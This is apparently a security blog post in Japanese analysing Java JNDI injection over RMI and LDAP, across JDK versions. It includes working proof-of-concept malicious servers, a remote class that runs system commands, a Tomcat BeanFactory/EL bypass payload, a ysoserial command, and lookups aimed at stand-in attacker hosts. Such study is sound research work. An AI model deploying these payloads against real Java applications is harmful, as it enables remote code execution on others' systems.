w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JNDIインジェクション

JNDI インジェクション#

0x01 JNDI とは何か#

RMI && LDAP#

ディレクトリは分散データベースの一種であり、ディレクトリサービスはディレクトリデータベースと一連のアクセスプロトコルから構成されるシステムです。LDAP は軽量ディレクトリアクセスプロトコルの略で、インターネットディレクトリデータを照会、ブラウズ、検索、変更するためのメカニズムを提供し、TCP/IP プロトコルスタックの上で動作し、C/S アーキテクチャに基づいています。RMI サービスの他に、JNDI は LDAP ディレクトリサービスとも相互作用でき、Java オブジェクトは LDAP ディレクトリ内にさまざまな保存形式を持ちます:

  • Java シリアル化
  • JNDI リファレンス
  • Marshalled オブジェクト
  • リモートロケーション(廃止)

LDAP は保存された Java オブジェクトに対してさまざまな属性を指定できます:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

JNDI の原理#

JNDI - Java ネーミングおよびディレクトリインターフェース、JNDI は統一されたクライアント API を提供し、異なるサービスプロバイダインターフェース(SPI)の実装を通じて、管理者が JNDI API を特定のネーミングサービスおよびディレクトリシステムにマッピングできるようにし、Java アプリケーションがこれらのネーミングサービスおよびディレクトリサービスと相互作用できるようにします。

image

ネーミングサービス(Naming Service)

ネーミングサービスは、キーと値の単純なバインディングであり、キー名を使用して値を検索できます。RMI は典型的なネーミングサービスです。

  • ネーミングサービスは、名前と値を関連付けるエンティティであり、「バインディング(binding)」とも呼ばれます。
  • 名前に基づいてオブジェクトを検索するためのツールを提供し、その名前は「ルックアップ(lookup)」または「検索(search)」操作と呼ばれます。

ディレクトリサービス(Directory Service)

LDAP は典型的なディレクトリサービスです。

  • 「ディレクトリオブジェクト」を保存および検索するための特別なタイプのネーミングサービスを許可します。
  • ディレクトリオブジェクトは一般的なオブジェクトとは異なり、属性をオブジェクトに関連付けることができます。
  • したがって、ディレクトリサービスはオブジェクト属性を操作するための拡張機能を提供します。

ネーミングサービスとディレクトリサービスの本質は同じであり、どちらもキーを使用してオブジェクトを検索しますが、ディレクトリサービスのキーはより柔軟で複雑です。

簡単に言えば、JNDI はアプリケーションが LDAP、RMI、CORBA などの異なるバックエンドサービスに簡単にアクセスできるための一連の汎用インターフェースを提供します。以下の図のように:

492

Java では、リモートリソースオブジェクトをより便利に管理、アクセス、呼び出すために、LDAP や RMI などのサービスを使用してリソースオブジェクトやメソッドを固定のリモートサーバーにバインドし、アプリケーションがアクセスおよび呼び出しを行うことがよくあります。

簡単な JNDI の例:

package jndi_test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
package jndi_test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }

    public String sayHello(String name) throws RemoteException {
        return "こんにちは " + name + " ^_^";
    }
}
package jndi_test;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception {
        // JNDIのデフォルト設定を構成
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

        // ローカルで1099ポートを開き、RMIサービスとして「hello」という識別子でメソッドオブジェクトをバインド
        Registry registry = LocateRegistry.createRegistry(1099);
        IHello hello = new IHelloImpl();
        registry.bind("hello", hello);

        // JNDIがRMI上のメソッドオブジェクトを取得し、呼び出す
        IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
        System.out.println(rHello.sayHello("RickGray"));
    }
}

JNDI はリモートメソッド sayHello を取得して呼び出しました。

image

ここでは JNDI サービスを初期化し、JNDI 設定を初期化する際にそのコンテキスト環境(RMI、LDAP または CORBA など)を事前に指定できます。ここでの例は、コンテキスト環境を RMI として指定しています。

プロセス:

493

ここでは JNDI を使用してリモート sayHello () 関数を取得し、「RickGray」パラメータを渡して呼び出すと、実際にその関数がリモートサーバーで実行され、実行が完了すると結果がシリアル化されてアプリケーション側に返されます。

RMI における動的バイトコードのロード#

リモートで RMI サービス上のオブジェクトが Reference クラス(参照オブジェクトタイプの抽象基底クラス)またはそのサブクラスである場合、クライアントがリモートオブジェクトのスタブインスタンスを取得すると、他のサーバーから class ファイルをロードしてインスタンス化できます。

Reference のいくつかの重要な属性:

  1. className - リモートロード時に使用されるクラス名
  2. classFactory - ロードされた class でインスタンス化するクラスの名前
  3. classFactoryLocation - classes データを提供するアドレスで、file/ftp/http などのプロトコルを使用できます

例えば、ここで Reference インスタンスを定義し、UnicastRemoteObject クラスを継承した ReferenceWrapper でインスタンスオブジェクトをラップして、RMI を介してリモートアクセスできるようにします:

Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

クライアントが lookup ("refObj") を介してリモートオブジェクトを取得すると、Reference クラスのスタブが取得されます。取得されたのは Reference インスタンスであるため、クライアントは最初にローカルの CLASSPATH で refClassName として識別されるクラスを探し、ローカルに見つからない場合はhttp://example.com:12345/refClassName.classにリクエストして classes を動的にロードし、insClassName のコンストラクタを呼び出します。

ここでは、RMI リモートオブジェクトを取得する際に、外部コードを動的にロードしてオブジェクトタイプをインスタンス化できることを示しています。また、JNDI も RMI リモートオブジェクトにアクセスする能力を持っており、lookup () 関数のパラメータ値が制御可能であれば、攻撃者のサーバーにデプロイされた悪意のあるコードをロードして実行する可能性があります。

JNDI プロトコルの動的変換#

前述のように、JNDI 設定を初期化する際にそのコンテキスト環境(RMI、LDAP または CORBA など)を事前に指定できます。

        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

lookup () または search () を呼び出す際に、URI を使用して動的にコンテキスト環境を変換できます。

例えば、上記のように Context.PROVIDER_URL 属性を使用して現在のコンテキストが RMI サービスにアクセスするように設定しましたが、LDAP サービス上のバインドオブジェクトにアクセスするために LDAP の URI 形式を直接使用してコンテキスト環境を変換することもできます:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

なぜ絶対パス URI を使用して動的にコンテキスト環境を変換できるのでしょうか?

InitialContext#lookup:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

getURLOrDefaultInitCtx () 関数の具体的なコード実装は次のとおりです:

    protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

最初に FactoryBuilder が設定されているかどうかを判断しますが、実際にはこれは私たちが設定したINITIAL_CONTEXT_FACTORYとは関係ありません。最終的には null を返します。

次に getURLScheme に入ります。

image

://の前の内容をプロトコル名として取得し、NamingManager.getURLContext () に渡します。

image

見ての通り、スキームが取得できない場合は、元の env で指定されたINITIAL_CONTEXT_FACTORYを使用します。そうでなければ、動的に変換を行い、現在のプロトコルに対応するコンテキストファクトリを取得します。

image

getURLObject に進みます。

image

ResourceManager.getFactory()context classloaderを介して対応するファクトリクラスをロードします。

その後、ファクトリクラスの getObjectInstance メソッドを呼び出して、対応するプロトコルのコンテキストを取得します。

要するに、最終的に返されるコンテキストのタイプは lookup で渡された uri に依存します。uri が省略された場合にのみ、env で指定されたINITIAL_CONTEXT_FACTORYが使用されます。

最初に lookup () 関数を呼び出すと、コンテキスト環境が初期化され、この時点でコードは paramName パラメータ値に対して URL 解析を行います。paramName に特定のスキーマプロトコルが含まれている場合、コードは対応するファクトリを使用してコンテキスト環境を初期化します。この時点で、以前に構成されたファクトリ環境が何であっても、ここで動的に置き換えられます。

JNDI はデフォルトで動的変換をサポートするプロトコルは以下の通りです。

プロトコル名プロトコル URLContext クラス
DNS プロトコルdns://com.sun.jndi.url.dns.dnsURLContext
RMI プロトコルrmi://com.sun.jndi.url.rmi.rmiURLContext
LDAP プロトコルldap://com.sun.jndi.url.ldap.ldapURLContext
LDAP プロトコルldaps://com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP オブジェクトリクエストブローカーiiop://com.sun.jndi.url.iiop.iiopURLContext
IIOP オブジェクトリクエストブローカーiiopname://com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP オブジェクトリクエストブローカーcorbaname://com.sun.jndi.url.corbaname.corbanameURLContextFactory

0x02 JNDI インジェクション#

JNDI インジェクションの核心には 2 つのポイントがあります。

  1. 動的プロトコル変換
  2. Reference クラス

バージョン制限#

  • JDK 5U45、6U45、7u21、8u121 からjava.rmi.server.useCodebaseOnlyのデフォルト設定が true になり、RMI ClassLoader を使用してリモートクラスをロードすることが禁止されました(ただし、Reference がリモートクラスをロードする際に本質的に URLClassLoader を利用しているため、このパラメータは JNDI インジェクションには影響しません)。
  • JDK 6u132、7u122、8u113 からcom.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.rmi.object.trustURLCodebaseのデフォルト値が false になり、RMI および CORBA プロトコルがリモート codebase を使用して JNDI インジェクションを行うことが禁止されました。
  • JDK 11.0.1、8u191、7u201、6u211 からcom.sun.jndi.ldap.object.trustURLCodebaseがデフォルトで false になり、LDAP プロトコルがリモート codebase を使用して JNDI インジェクションを行うことが禁止されました。

495

RMI および LDAP を介した JNDI インジェクション(jdk<8u191)#

RMI および LDAP を介した JNDI インジェクションは、Reference クラスの特別な処理に基づいています。

利用条件#

  • クライアントの lookup () メソッドのパラメータが制御可能であること
  • サーバーが Reference を使用する際、classFactoryLocation パラメータが制御可能であること

インジェクションプロセス#

インジェクションプロセス:

  1. 攻撃者は悪意のあるオブジェクトを構築し、そのコンストラクタに悪意のあるコードを追加します。それをサーバーにアップロードしてリモートロードを待ちます。
  2. 悪意のある RMI サーバーを構築し、ReferenceWrapper オブジェクトをバインドします。ReferenceWrapper オブジェクトは Reference オブジェクトのラッパーです。
  3. 攻撃者は制御可能な URI パラメータを介して動的環境変換をトリガーします。例えば、ここでの URI は rmi://evil.com:1099/refObj です;
  4. 元々設定されていたコンテキスト環境 rmi://localhost:1099 は動的環境変換により rmi://evil.com:1099 に指向されます;
  5. アプリケーションは rmi://evil.com:1099 にリクエストしてバインドオブジェクト refObj を取得し、攻撃者が事前に準備した RMI サービスが名前 refObj にバインドされた ReferenceWrapper オブジェクト(Reference ("EvilObject", "EvilObject", "http://evil-cb.com/"))を返します;
  6. Reference オブジェクトにはリモートアドレスが含まれており、そのリモートアドレスから悪意のあるオブジェクトクラスをロードできます。
  7. JNDI は lookup プロセス中に Reference オブジェクトを解析し、悪意のあるオブジェクトをリモートロードして脆弱性を引き起こします。

496

なぜ RMI の攻撃方法の中でリモートで Reference オブジェクトをロードする方法が言及されていないのかというと、実際にはここでクライアントが変更されているからです。以前はクライアントが RMI を介してサーバーのメソッドをリモート呼び出ししていましたが、ここでは JNDI が呼び出すため、lookup メソッドが変更され、JNDI プロトコルの動的変換が発生し、動的環境変換が引き起こされました。

0x03 RMI#

例:

サーバー

package Inject;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);

            String factoryUrl = "http://127.0.0.1:8080/";
            Reference reference = new Reference("evilObject","evilObject", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("w0s1np", wrapper);

            System.err.println("サーバーが準備完了、factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("サーバー例外: " + e.toString());
            e.printStackTrace();
        }
    }
}
package Inject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        try {
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

クライアントが InitialContext ().lookup () メソッドを呼び出すと、http://127.0.0.1:8080/evilObject.classからクラスを取得し、コンストラクタ内の悪意のあるコードをトリガーします。

public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

evilObject.java を別のディレクトリに置きます(脆弱性再現中にアプリケーション側が EvilObject オブジェクトをインスタンス化する際に、CLASSPATH の現在のパスからコンパイル済みバイトコードを見つけてしまい、リモートでダウンロードされないようにするためです)。

image

低バージョン jdk の分析#

jdk8u_202、65、20 の混合デバッグで、RMI 反シリアル化と同様に、低バージョン jdk ではデバッグが進まないことがあります。

lookup 後のプロセスを分析します。

image

最初に RegistryContext@763 オブジェクトを取得し、そこにはスタブオブジェクトと RMI サービスのアドレス、ポート情報が含まれています。その後、RegistryContext@763 オブジェクトの lookup メソッドに入ります。

image

次に、RegistryImpl_Stub@764 オブジェクトの lookup を呼び出します。この部分は RMI プロトコルにおける Stub と Skeleton の通信プロセスと同じです。

つまり、registry#lookupはリモート悪意のあるサーバーにバインドされた Remote クラスを取得します。

その後、RegistryContext#decodeObjectメソッドを呼び出し、その Remote クラスの getObjectInstance をインスタンス化します。

image

var1 が RemoteReference またはそのサブクラスのインスタンスであるかどうかを判断し、次にNamingManager.getObjectInstance()を呼び出します。

image

最初にgetObjectFactoryFromReferenceを呼び出してファクトリインスタンスを取得し、その後、ファクトリのgetObjectInstanceメソッドを呼び出します。

getObjectFactoryFromReference を追跡します。

image

最初にhelper.loadClass()を呼び出します。このメソッド内部では、コンテキストから AppClassLoader を取得し、ローカルでファクトリクラスをロードしようとします。

失敗した場合は、codebase(つまり factoryLocation)を取得し、helper に渡して URLClassLoader を使用してロードを試みます。

image

リモートロード、FactoryURLClassLoaderURLClassLoaderのサブクラスです。

上記のClass.forNameの第二引数はtrueであり、ここでのロード時にstatic領域のコードがトリガーされます。

クラスを取得した後、

image

ここで自構造体のコードがトリガーされます(ここではObjectFactoryクラスに変換されます。エラーを報告しないためには、悪意のあるコードがこのインターフェースを継承する必要があります)。

戻った後、getObjectInstance()メソッドがもう一度呼び出されます。

image

小結#

以下の 3 つのコードブロックはすべて、私たちの悪意のあるコードを実行できます。

  • static 領域
  • 自構造体
  • getObjectInstance()

高バージョン jdk の分析#

最初に制限がどこに加えられているかを確認します。

image

RegistryContext#decodeObjectNamingManager.getObjectInstanceの前にReferenceオブジェクトを判断し、var8.getFactoryClassLocation()は私たちが設定したリモートアドレスcodebaseです。trustURLCodebaseのデフォルトはfalseです。

これは、デフォルトで遠隔アドレスを設定できないことを意味し、悪意のあるクラスのリモートロードを防ぎます。

ローカルファクトリクラス#

codebase を介してリモートロードが禁止されているので、利用可能なローカルファクトリをロードして Java コードを実行します。

ただし、この利用方法はターゲットマシンのローカル classpath に対応するファクトリが存在するかどうかに依存します。

危険な関数は、上記の小結部分の 3 つ:static自構造体getObjectInstance()ですが、実際にはstatic自構造体は利用可能な場所が存在しないため、主にgetObjectInstance()を探します。getObjectInstance()ObjectFactoryインターフェースのメソッドであるため、ObjectFactoryの継承クラスを探せばよいのです。

この方法は他のコンポーネントの依存にも依存しますが、最も一般的なのはorg.apache.naming.factory.BeanFactoryjavax.el.ELProcessorです。

BeanFactory は Tomcat の依存パッケージから来ているため、適用範囲は比較的広いです。

ELProcessor は Java に付属の式解析エンジンです。

以下のtomcat依存関係を追加します。

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>8.5.0</version>
</dependency>

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-el</artifactId>
  <version>8.5.0</version>
</dependency>
package rmi_bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");

        InitialContext ctx = new InitialContext(env);
        Registry registry = LocateRegistry.createRegistry(1099);
      
        // Referenceをインスタンス化し、ターゲットクラスをjavax.el.ELProcessor、ファクトリクラスをorg.apache.naming.factory.BeanFactoryに指定
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 'x'属性のsetterを'setX'から'eval'に強制的に変更、詳細なロジックはBeanFactory.getObjectInstanceコードを参照
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 式を実行
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("w0s1np", referenceWrapper);
    }
}
正向分析#

最初にNamingManager#getObjectInstanceに進みます。

image

BeanFactory#getObjectInstanceに入ります。

image

getObjectInstance は現在の ref オブジェクトが ResourceRef のインスタンスであるかどうかを判断します。ResourceRef は Reference のサブクラスです。

したがって、ファクトリクラスをロードするために ResourceRef を構築する必要があります。通常使用される Reference ではありません。

その後、クラス名を取得し、javax.el.ELProcessorを取得します。

image

“forceString”は属性の setter メソッドを強制的に指定できます。ここでは属性「x」の setter メソッドをELProcessor.eval()メソッドに設定します。

最初に ref からforceString属性を取得し、次に,で分割して複数のメソッドを取得し、=で分割して各値を取得します。前者は最後にmapのkeyに入れられ、後者はmethod名前を取得します(注意:ここでは String を引数とするメソッドのみが取得されます)。

image

次に、以下の while ループに入ります。ここではTypeを取得し、if の値でない場合は、前に設定したforcedからこのType名を取得して、ここでxを取得し、反射を使用してこのメソッドを呼び出します。引数は x に対応する値です。

bean オブジェクトは beanClass をインスタンス化したものであり、invoke が成功すればjavax.el.ELProcessor#evalが呼び出されます。

利用小結

BeanFactory#getObjectInstanceの利用条件:

  • JDK または一般的なライブラリのクラスであること
  • public 修飾の無引数コンストラクタがあること // 明らかに、直接 newInstance () でオブジェクトを取得できます。
  • public 修飾の引数が 1 つだけの String.class タイプのメソッドがあり、そのメソッドが脆弱性を引き起こすことができること //String メソッドを呼び出すことができます。

上記は el 式を利用しています。

逆向挖掘分析#
ReferenceRef の定位

RegistryContext#decodeObjectの制限ロジックから、java.naming.Referenceは使用できません。なぜなら、getFactoryClassLocationが通過しないからです。

var8 = (Reference)var3;

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("オブジェクトファクトリは信頼されていません。システムプロパティ'com.sun.jndi.rmi.object.trustURLCodebase'を'true'に設定してください。");
}

では、どのクラスが満たされるか?

  1. Reference を継承すること
  2. getFactoryClassLocation が null であること

Reference のサブクラスを探してみましょう。

image

ReferenceWrapper の定位

ResourceRef が特定されましたが、直接 bind することはできません。なぜなら、java.rmi.registry.Registry は Remote クラスのみを bind できるからです。

public void bind(String name, Remote obj)
    throws RemoteException, AlreadyBoundException, AccessException;

JNDI-RMI の低バージョンインジェクションでは、以下の 2 つの方法で bind できます:

#1. 悪意のあるコードブロックを持つクラスインスタンスを直接バインド
registry.bind("Exploit", (Remote) new Exploit());

#2. reference
Reference reference = new Reference("Exploit",
        "Exploit",
        "http://localhost:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);

しかし、ReferenceWrapper(ResourceRef)は可能でしょうか?

public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
    this.wrappee = var1;
}

ResourceRef は Reference を継承しているため、可能です。

BeanFactory の定位

再びNamingManager#getObjectInstanceに戻ります。

ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);

ResourceRefのコンストラクタを確認します。

public ResourceRef(String resourceClass, String description,
                       String scope, String auth, boolean singleton,
                       String factory, String factoryLocation)

したがって、ObjectFactoryを継承し、getObjectInstanceに危険な関数が存在すればよいのです。

image

その後、BeanFactoryの本来の目的は、リフレクションを使用して特定の BeanClass の setter に値を設定することです。

しかし、forceStringパラメータを介して setter をELProcessorevalに強制的に指定できるため、beanclass.getMethod()evalの Method オブジェクトを取得します。

その利用条件は:

  1. 無引数コンストラクタが必要です(Object bean = beanClass.getConstructor().newInstance();)。
  2. 条件を満たすメソッドを呼び出すことができ、メソッドの引数は 1 つで、タイプは String であること(Reference の属性を参照して setter メソッドのエイリアスを検索できます)。
  3. set * メソッドを呼び出すことができ、メソッドの引数は 1 つで、タイプは String であること。
  4. 上記のメソッドはすべて public であること。
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. クラスオブジェクトを反射で取得
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. クラスインスタンスを初期化
    Object bean = beanClass.getConstructor().newInstance();

    // 3. Referenceの属性を参照してsetterメソッドのエイリアスを検索
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. エイリアスを解析し、辞書に保存
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. すべての属性を解析し、エイリアスに基づいてsetterメソッドを呼び出す
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

反序列化#

悪意のあるシリアライズデータを返すために register を利用する

lookup内でclientregisterとデータを送受信し、反序列化が行われます。

/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"

その後、client コードを実行すれば、new InitialContext().lookupのパラメータが制御可能であり、サーバーに gadget が存在する場合、反序列化を行うことができます。

lookup を進めると、RegistryImpl_Stub#lookupメソッドに到達します。

image

ここではregisterからシリアライズデータを受信する準備をし、次にStreamRemoteCall#executeCallに進みます。

image

executeCall()では、this.getInputStream();registerから返されたシリアライズデータを受信します(ここで悪意のあるシリアライズデータを構築すれば利用可能です)。その後、下部で反序列化が行われます。

0x04 LDAP#

jdk8u191以前は ldap を使用してリモート悪意のあるクラスをロードできました。

ldapサーバーには以下の依存関係が必要です。

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.7</version>
</dependency>

poc:

package LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=ldap";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:4444/#evilObject";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());

//             Payload2: 戻りシリアライズGadget
//            try {
//                e.addAttribute("javaSerializedData", Base64.decode("..."));
//            } catch (ParseException exception) {
//                exception.printStackTrace();
//            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");
    }
}
public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

低バージョン jdk の分析#

jdk8u65

image

最初にプロトコルの違いに基づいて異なるコンテキストを取得し、NamingManager#getURLContextに入ります。

image

ResourceManager#getFactoryに入ります。

image

classSuffixはプロトコル名に基づいて接続され、次にこのクラスをインスタンス化します。その後、return factory;が行われます。

image

その後、ldapURLContextFactory.getObjectInstanceが呼び出され、ldapのコンテキスト(ldapURLContext)が返されます。

image

その後、this.getRootURLContextが呼び出され、var3LdapCtxであり、これにより後続の流れが RMI とは異なることになります。

image

c_lookup#

lookup を進めると、

image

LdapCtx#doSearchOnceldapにリクエストを送信し、値を取得します。

image

その後、サーバーはこの値をclient側に送信します。

戻ってきた値からattributes属性を取得します。

image

javaClassNameが設定されているため、Obj#decodeObjectに入ります。

image

最後の else に入ります:

return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

ここでは、入力 url に基づいてオブジェクト名を取得し、Reference でラップし、LdapCtx#c_lookup に戻ります。

image

ここで、getObjectInstance()が呼び出され、その後のロジックは RMI と同じです。

image

image

evilObject をインスタンス化して RCE を実行します。

小結#

上記の分析により、ldap と rmi のリモート悪意のあるクラス呼び出しプロセスには違いがあることがわかります。

ldap 呼び出しスタック

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)

rmi 呼び出しスタック

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)

var8.getFactoryClassLocation()の検出はrmidecodeObject内で行われますが、ldapプロトコルは他の lookup を呼び出し、decodeObjectを呼び出さないため、リモートロードが実行されません。両者のプロトコル呼び出しメカニズムは異なります。

したがって、8u113~8u190の間、com.sun.jndi.rmi.object.trustURLCodebaseのデフォルト値はfalseであり、ldap は影響を受けず、リモート悪意のあるクラスを呼び出すことができます。

高バージョン jdk の分析#

8u191 以降、リモートクラスをロードする際にtrustURLCodebaseの判断が追加され、悪意のあるクラスのリモートロードが完全に防止されました。

image

image

反序列化#

image

